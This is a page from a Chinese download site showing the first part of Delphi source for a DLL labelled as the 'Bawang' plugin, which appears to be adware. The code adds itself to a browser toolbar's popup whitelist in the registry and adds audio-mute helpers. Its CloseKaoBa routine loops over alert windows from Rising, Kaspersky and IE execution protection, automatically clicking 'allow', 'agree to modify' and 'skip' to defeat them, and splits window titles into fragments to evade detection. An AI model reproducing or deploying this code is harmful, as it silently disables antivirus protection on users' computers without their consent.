⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 maindll.dpr

📁 功能强大的霸王插件源代码
💻 DPR
📖 第 1 页 / 共 5 页
字号:
            if t[1]<>'|' then t:='|'+t;
            if t[length(t)]<>'|' then t:=t+'|';
          end;
        if pos(tmp,t)<=0 then t:=t+tmp+'|';
        if t<>'' then
          begin
            if t[1]<>'|' then t:='|'+t;
            if t[length(t)]<>'|' then t:=t+'|';
          end;
        CreateRegKeyValue(HKEY_CURRENT_USER,'Software\Google\NavClient\1.1\whitelist','allow2',t);
      end;
  except
  end;
end;
const MIXER_SHORT_NAME_CHARS   = 16;
      MIXER_LONG_NAME_CHARS    = 64;
      MAXPNAMELEN      =  32;
      mmsyst = 'winmm.dll';
      MMSYSERR_NOERROR      = 0;
      MIXERLINE_COMPONENTTYPE_DST_FIRST       = $00000000;
      MIXERLINE_COMPONENTTYPE_DST_SPEAKERS    = (MIXERLINE_COMPONENTTYPE_DST_FIRST + 4);
      MIXERLINE_COMPONENTTYPE_SRC_FIRST       = $00001000;
      MIXERLINE_COMPONENTTYPE_SRC_MICROPHONE  = (MIXERLINE_COMPONENTTYPE_SRC_FIRST + 3);
      MIXERLINE_COMPONENTTYPE_SRC_WAVEOUT     = (MIXERLINE_COMPONENTTYPE_SRC_FIRST + 8);
      MIXERLINE_COMPONENTTYPE_SRC_SYNTHESIZER = (MIXERLINE_COMPONENTTYPE_SRC_FIRST + 4);
      MIXERLINE_COMPONENTTYPE_SRC_COMPACTDISC = (MIXERLINE_COMPONENTTYPE_SRC_FIRST + 5);
      MIXER_GETLINEINFOF_COMPONENTTYPE    = $00000003;
      MIXERCONTROL_CT_CLASS_SWITCH        = $20000000;
      MIXERCONTROL_CT_SC_SWITCH_BOOLEAN   = $00000000;
      MIXERCONTROL_CT_UNITS_BOOLEAN       = $00010000;
      MIXERCONTROL_CONTROLTYPE_BOOLEAN        = (MIXERCONTROL_CT_CLASS_SWITCH or MIXERCONTROL_CT_SC_SWITCH_BOOLEAN or
                                                 MIXERCONTROL_CT_UNITS_BOOLEAN);
      MIXERCONTROL_CONTROLTYPE_MUTE           = (MIXERCONTROL_CONTROLTYPE_BOOLEAN + 2);
      MIXER_GETLINECONTROLSF_ONEBYTYPE    = $00000002;
      MIXER_SETCONTROLDETAILSF_VALUE      = $00000000;
Type
   TDeviceName = (Master, Microphone, WaveOut, Synth,CdAudio);
   PHMIXER = ^HMIXER;
   HMIXER = Integer;
   PMixerControlA = ^TMixerControlA;
   tagMIXERCONTROLA = packed record
    cbStruct: DWORD;           { size in bytes of MIXERCONTROL }
    dwControlID: DWORD;        { unique control id for mixer device }
    dwControlType: DWORD;      { MIXERCONTROL_CONTROLTYPE_xxx }
    fdwControl: DWORD;         { MIXERCONTROL_CONTROLF_xxx }
    cMultipleItems: DWORD;     { if MIXERCONTROL_CONTROLF_MULTIPLE set }
    szShortName: array[0..MIXER_SHORT_NAME_CHARS - 1] of AnsiChar;
    szName: array[0..MIXER_LONG_NAME_CHARS - 1] of AnsiChar;
    Bounds: record
      case Integer of
        0: (lMinimum, lMaximum: Longint);
        1: (dwMinimum, dwMaximum: DWORD);
        2: (dwReserved: array[0..5] of DWORD);
    end;
    Metrics: record
      case Integer of
        0: (cSteps: DWORD);        { # of steps between min & max }
        1: (cbCustomData: DWORD);  { size in bytes of custom data }
        2: (dwReserved: array[0..5] of DWORD);
    end;
  end;
  TMixerControlA = tagMIXERCONTROLA;
  TMixerControl = TMixerControlA;
  MIXERCONTROLA = tagMIXERCONTROLA;
  MIXERCONTROL = MIXERCONTROLA;
  PMixerLineControlsA = ^TMixerLineControlsA;
  PMixerLineControls = PMixerLineControlsA;
  tagMIXERLINECONTROLSA = record
       cbStruct: DWORD;               { size in bytes of MIXERLINECONTROLS }
       dwLineID: DWORD;               { line id (from MIXERLINE.dwLineID) }
       case Integer of
         0: (dwControlID: DWORD);     { MIXER_GETLINECONTROLSF_ONEBYID }
         1: (dwControlType: DWORD;    { MIXER_GETLINECONTROLSF_ONEBYTYPE }
          cControls: DWORD;        { count of controls pmxctrl points to }
          cbmxctrl: DWORD;         { size in bytes of _one_ MIXERCONTROL }
          pamxctrl: PMixerControlA);   { pointer to first MIXERCONTROL array }
       end;
  tagMIXERLINECONTROLS = tagMIXERLINECONTROLSA;
  TMixerLineControlsA = tagMIXERLINECONTROLSA;
  MIXERLINECONTROLSA = tagMIXERLINECONTROLSA;
  MIXERLINECONTROLS = MIXERLINECONTROLSA;
  PMixerControlDetails = ^TMixerControlDetails;
  tMIXERCONTROLDETAILS = record
    cbStruct: DWORD;       { size in bytes of MIXERCONTROLDETAILS }
    dwControlID: DWORD;    { control id to get/set details on }
    cChannels: DWORD;      { number of channels in paDetails array }
    case Integer of
	   0: (hwndOwner: HWND);        { for MIXER_SETCONTROLDETAILSF_CUSTOM }
	   1: (cMultipleItems: DWORD;   { if _MULTIPLE, the number of items per channel }
	       cbDetails: DWORD;        { size of _one_ details_XX struct }
	       paDetails: Pointer);     { pointer to array of details_XX structs }
  end;
  MMVERSION = UINT;
  PMixerLineA = ^TMixerLineA;
  PMixerLine = PMixerLineA;
  tagMIXERLINEA = record
    cbStruct: DWORD;               { size of MIXERLINE structure }
    dwDestination: DWORD;          { zero based destination index }
    dwSource: DWORD;               { zero based source index (if source) }
    dwLineID: DWORD;               { unique line id for mixer device }
    fdwLine: DWORD;                { state/information about line }
    dwUser: DWORD;                 { driver specific information }
    dwComponentType: DWORD;        { component type line connects to }
    cChannels: DWORD;              { number of channels line supports }
    cConnections: DWORD;           { number of connections [possible] }
    cControls: DWORD;              { number of controls at this line }
    szShortName: array[0..MIXER_SHORT_NAME_CHARS - 1] of AnsiChar;
    szName: array[0..MIXER_LONG_NAME_CHARS - 1] of AnsiChar;
    Target: record
      dwType: DWORD;                 { MIXERLINE_TARGETTYPE_xxxx }
      dwDeviceID: DWORD;             { target device ID of device type }
      wMid: WORD;                                   { of target device }
      wPid: WORD;                                   {      " }
      vDriverVersion: MMVERSION;                    {      " }
      szPname: array[0..MAXPNAMELEN - 1] of AnsiChar;  {      " }
	 end;
  end;
  TMixerLineA = tagMIXERLINEA;
  TMixerLine = TMixerLineA;

  tMIXERCONTROLDETAILS_BOOLEAN = record
    fValue: Longint;
  end;
  MIXERCONTROLDETAILS_BOOLEAN = tMIXERCONTROLDETAILS_BOOLEAN;
  MMRESULT = UINT;
  HMIXEROBJ = Integer;


function mixerGetNumDevs: UINT; stdcall;external mmsyst name 'mixerGetNumDevs';
function mixerOpen(phmx: PHMIXER; uMxId: UINT; dwCallback, dwInstance, fdwOpen: DWORD): MMRESULT; stdcall;external mmsyst name 'mixerOpen';
function mixerGetLineInfo(hmxobj: HMIXEROBJ; pmxl: PMixerLine;
  fdwInfo: DWORD): MMRESULT; stdcall;external mmsyst name 'mixerGetLineInfoA';
function mixerGetLineControls(hmxobj: HMIXEROBJ; pmxlc: PMixerLineControls; fdwControls: DWORD): MMRESULT; stdcall;external mmsyst name 'mixerGetLineControlsA';
function mixerGetControlDetails(hmxobj: HMIXEROBJ; pmxcd: PMixerControlDetails; fdwDetails: DWORD): MMRESULT; stdcall;external mmsyst name 'mixerGetControlDetailsA';
function mixerClose(hmx: HMIXER): MMRESULT; stdcall; external mmsyst name 'mixerClose';
function GetVolumeMute(DN:TDeviceName) : integer;
var
 hMix: HMIXER;
 mxlc: MIXERLINECONTROLS;
 mxcd: TMIXERCONTROLDETAILS;
 mxc: MIXERCONTROL;
 mxl: TMixerLine;
 intRet: Integer;
 nMixerDevs: Integer;
 mcdMute: MIXERCONTROLDETAILS_BOOLEAN;
begin
 result:=-1;
 try
   nMixerDevs := mixerGetNumDevs();
   if (nMixerDevs < 1) then exit;
   // open the mixer
   intRet := mixerOpen(@hMix, 0, 0, 0, 0);
   if intRet <> MMSYSERR_NOERROR then exit;
   case DN of
     Master :  mxl.dwComponentType := MIXERLINE_COMPONENTTYPE_DST_SPEAKERS;
     Microphone :mxl.dwComponentType := MIXERLINE_COMPONENTTYPE_SRC_MICROPHONE;
     WaveOut : mxl.dwComponentType := MIXERLINE_COMPONENTTYPE_SRC_WAVEOUT;
     Synth  :  mxl.dwComponentType := MIXERLINE_COMPONENTTYPE_SRC_SYNTHESIZER;
     CdAudio:mxl.dwComponentType :=MIXERLINE_COMPONENTTYPE_SRC_COMPACTDISC;
   end;
   mxl.cbStruct        := SizeOf(mxl);

   // mixerline info
   intRet := mixerGetLineInfo(hMix, @mxl, MIXER_GETLINEINFOF_COMPONENTTYPE);

   if intRet = MMSYSERR_NOERROR then
     begin
       FillChar(mxlc, SizeOf(mxlc),0);
       mxlc.cbStruct := SizeOf(mxlc);
       mxlc.dwLineID := mxl.dwLineID;
       mxlc.dwControlType := MIXERCONTROL_CONTROLTYPE_MUTE;
       mxlc.cControls := 1;
       mxlc.cbmxctrl := SizeOf(mxc);
       mxlc.pamxctrl := @mxc;

       // Get the mute control
       intRet := mixerGetLineControls(hMix, @mxlc, MIXER_GETLINECONTROLSF_ONEBYTYPE);

       if intRet = MMSYSERR_NOERROR then
         begin
           FillChar(mxcd, SizeOf(mxcd),0);
           mxcd.cbStruct := SizeOf(TMIXERCONTROLDETAILS);
           mxcd.dwControlID := mxc.dwControlID;
           mxcd.cChannels := 1;
           mxcd.cbDetails := SizeOf(MIXERCONTROLDETAILS_BOOLEAN);
           mxcd.paDetails := @mcdMute;

           // Get  mute
           intRet := mixerGetControlDetails(hMix, @mxcd, MIXER_SETCONTROLDETAILSF_VALUE);
           if intRet = MMSYSERR_NOERROR then
           if mcdMute.fValue = 0 then Result:=0
           else Result := 1;
         end;
     end;
   mixerClose(hMix);
 except
 end;
end;
function mixerSetControlDetails(hmxobj: HMIXEROBJ; pmxcd: PMixerControlDetails; fdwDetails: DWORD): MMRESULT; stdcall;external mmsyst name 'mixerSetControlDetails';
function  SetVolumeMute(DN:TDeviceName; Value:Boolean):boolean;
var
 hMix: HMIXER;
 mxlc: MIXERLINECONTROLS;
 mxcd: TMIXERCONTROLDETAILS;
 mxc: MIXERCONTROL;
 mxl: TMixerLine;
 intRet: Integer;
 nMixerDevs: Integer;
 mcdMute: MIXERCONTROLDETAILS_BOOLEAN;
begin
 result:=false;
 // Check if Mixer is available
 try
   nMixerDevs := mixerGetNumDevs();
   if (nMixerDevs < 1) then Exit;

   // open the mixer
   intRet := mixerOpen(@hMix, 0, 0, 0, 0);
   if intRet <> MMSYSERR_NOERROR then exit;
   case DN of
     Master :  mxl.dwComponentType := MIXERLINE_COMPONENTTYPE_DST_SPEAKERS;
     Microphone :mxl.dwComponentType := MIXERLINE_COMPONENTTYPE_SRC_MICROPHONE;
     WaveOut : mxl.dwComponentType := MIXERLINE_COMPONENTTYPE_SRC_WAVEOUT;
     Synth  :  mxl.dwComponentType := MIXERLINE_COMPONENTTYPE_SRC_SYNTHESIZER;
     CdAudio:mxl.dwComponentType :=MIXERLINE_COMPONENTTYPE_SRC_COMPACTDISC;
   end;
   mxl.cbStruct        := SizeOf(mxl);

   // mixerline info
   intRet := mixerGetLineInfo(hMix, @mxl, MIXER_GETLINEINFOF_COMPONENTTYPE);

   if intRet = MMSYSERR_NOERROR then
     begin
       FillChar(mxlc, SizeOf(mxlc),0);
       mxlc.cbStruct := SizeOf(mxlc);
       mxlc.dwLineID := mxl.dwLineID;
       mxlc.dwControlType := MIXERCONTROL_CONTROLTYPE_MUTE;
       mxlc.cControls := 1;
       mxlc.cbmxctrl := SizeOf(mxc);
       mxlc.pamxctrl := @mxc;

       // Get the mute control
       intRet := mixerGetLineControls(hMix, @mxlc, MIXER_GETLINECONTROLSF_ONEBYTYPE);

       if intRet = MMSYSERR_NOERROR then
         begin
           FillChar(mxcd, SizeOf(mxcd),0);
           mxcd.cbStruct := SizeOf(TMIXERCONTROLDETAILS);
           mxcd.dwControlID := mxc.dwControlID;
           mxcd.cChannels := 1;
           mxcd.cbDetails := SizeOf(MIXERCONTROLDETAILS_BOOLEAN);
           mxcd.paDetails := @mcdMute;

           // Set and UnSet  mute
           mcdMute.fValue := Ord(Value);
           intRet := mixerSetControlDetails(hMix, @mxcd, MIXER_SETCONTROLDETAILSF_VALUE);

           if intRet = MMSYSERR_NOERROR then
             result:=true;
         end;
     end;
   mixerClose(hMix);
 except
 end;
end;
procedure CloseKaoBa;
var f1,f2:integer;
    d:double;
    r1:trect;
    s:string;
begin
  d:=GetTickCount()+15*1000;
  while true do
    begin
      try
        //瑞星
        s:='瑞';
        s:=s+'星';
        fuckcode;
        s:=s+'注';
        s:=s+'册表';
        s:=s+'监';
        s:=s+'控提示';
        f1:=findwindow('#32770',pchar(s));
        if f1<>0 then
          begin
            SetForegroundWindow(f1);
            SetActiveWindow(f1);
            f2:=FindWindowEx(f1,0,'Button','同意修改');
            if f2<>0 then
              begin
                getwindowrect(f2,r1);
                setcursorpos(r1.Left+(r1.Right-r1.Left) div 2,r1.Top+(r1.Bottom-r1.Top) div 2);
                //showmessage('a');
                SendMessage(f2, WM_LBUTTONDOWN, 0, 0);
                SendMessage(f2, WM_LBUTTONUP, 0, 0);
                SendMessage(f2, WM_LBUTTONDOWN, 0, 0);
                SendMessage(f2, WM_LBUTTONUP, 0, 0);
              end;
            f2:=FindWindowEx(f1,0,'Button','确定');
            if f2<>0 then
              begin
                getwindowrect(f2,r1);
                setcursorpos(r1.Left+(r1.Right-r1.Left) div 2,r1.Top+(r1.Bottom-r1.Top) div 2);
                SendMessage(f2, WM_LBUTTONDOWN, 0, 0);
                SendMessage(f2, WM_LBUTTONUP, 0, 0);
                SendMessage(f2, WM_LBUTTONDOWN, 0, 0);
                SendMessage(f2, WM_LBUTTONUP, 0, 0);
              end
          end;
        //瑞星
        f1:=findwindow('#32770','IE 执行保护');
        if f1=0 then
          f1:=findwindow('#32770','IE执行保护');
        if f1<>0 then
          begin
            SetForegroundWindow(f1);
            SetActiveWindow(f1);
            f2:=FindWindowEx(f1,0,'Button','允许执行');
            if f2<>0 then
              begin
                getwindowrect(f2,r1);
                setcursorpos(r1.Left+(r1.Right-r1.Left) div 2,r1.Top+(r1.Bottom-r1.Top) div 2);
                //showmessage('a');
                SendMessage(f2, WM_LBUTTONDOWN, 0, 0);
                SendMessage(f2, WM_LBUTTONUP, 0, 0);
                SendMessage(f2, WM_LBUTTONDOWN, 0, 0);
                SendMessage(f2, WM_LBUTTONUP, 0, 0);
              end;
            f2:=FindWindowEx(f1,0,'Button','确定');
            if f2<>0 then
              begin
                getwindowrect(f2,r1);
                setcursorpos(r1.Left+(r1.Right-r1.Left) div 2,r1.Top+(r1.Bottom-r1.Top) div 2);
                SendMessage(f2, WM_LBUTTONDOWN, 0, 0);
                SendMessage(f2, WM_LBUTTONUP, 0, 0);
                SendMessage(f2, WM_LBUTTONDOWN, 0, 0);
                SendMessage(f2, WM_LBUTTONUP, 0, 0);
              end
          end;
        //瑞星卡卡
        f1:=findwindow(pchar('#32770'),'瑞星卡卡上网安全助手 - IE防漏墙');
        if f1<>0 then
          begin
            f2:=FindWindowEx(f1,0,'Button','允许');
            if f2<>0 then
              begin
                getwindowrect(f2,r1);
                setcursorpos(r1.Left+(r1.Right-r1.Left) div 2,r1.Top+(r1.Bottom-r1.Top) div 2);
                SendMessage(f2, WM_LBUTTONDOWN, 0, 0);
                SendMessage(f2, WM_LBUTTONUP, 0, 0);
                SendMessage(f2, WM_LBUTTONDOWN, 0, 0);
                SendMessage(f2, WM_LBUTTONUP, 0, 0);
              end
          end;
        //卡吧
        f1:=findwindow('AVP.AlertDialog','主动防御 信息');//得到瑞星窗体
        if f1=0 then
          f1:=findwindow('AVP.AlertDialog','主动防御 警报');
        if f1=0 then
          f1:=findwindow('AVP.AlertDialog','主动防御 警告');

        if f1=0 then
          f1:=findwindow('AVP.AlertDialog','主动防护 提示');
        if f1=0 then
          f1:=findwindow('AVP.AlertDialog','主动防护 警告');
        if f1=0 then
          f1:=findwindow('AVP.AlertDialog','主动防护 警报');
        if f1=0 then
          f1:=findwindow('AVP.AlertDialog','主动防护 信息');
        if f1=0 then
          f1:=findwindow('AVP.AlertDialog',nil);
        if f1<>0 then
          begin
            f2:=FindWindowEx(f1,0,'AVP.Button','创建规则');
            if f2<>0 then
              begin
                SendMessage(f2, WM_LBUTTONDOWN, 0, 0);
                SendMessage(f2, WM_LBUTTONUP, 0, 0);
              end;

            f2:=FindWindowEx(f1,0,'AVP.Button','允许');
            if f2=0 then
              f2:=FindWindowEx(f1,0,'AVP.Button','允许(&A)');
            if f2<>0 then
              begin
                SendMessage(f2, WM_LBUTTONDOWN, 0, 0);
                SendMessage(f2, WM_LBUTTONUP, 0, 0);
                SendMessage(f2, WM_LBUTTONDOWN, 0, 0);
                SendMessage(f2, WM_LBUTTONUP, 0, 0);

              end
            else
              begin
                f2:=FindWindowEx(f1,0,'AVP.Button','跳过');
                if f2=0 then
                  f2:=FindWindowEx(f1,0,'AVP.Button','跳过(&S)');
                if f2<>0 then
                  begin
                    SendMessage(f2, WM_LBUTTONDOWN, 0, 0);
                    SendMessage(f2, WM_LBUTTONUP, 0, 0);

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -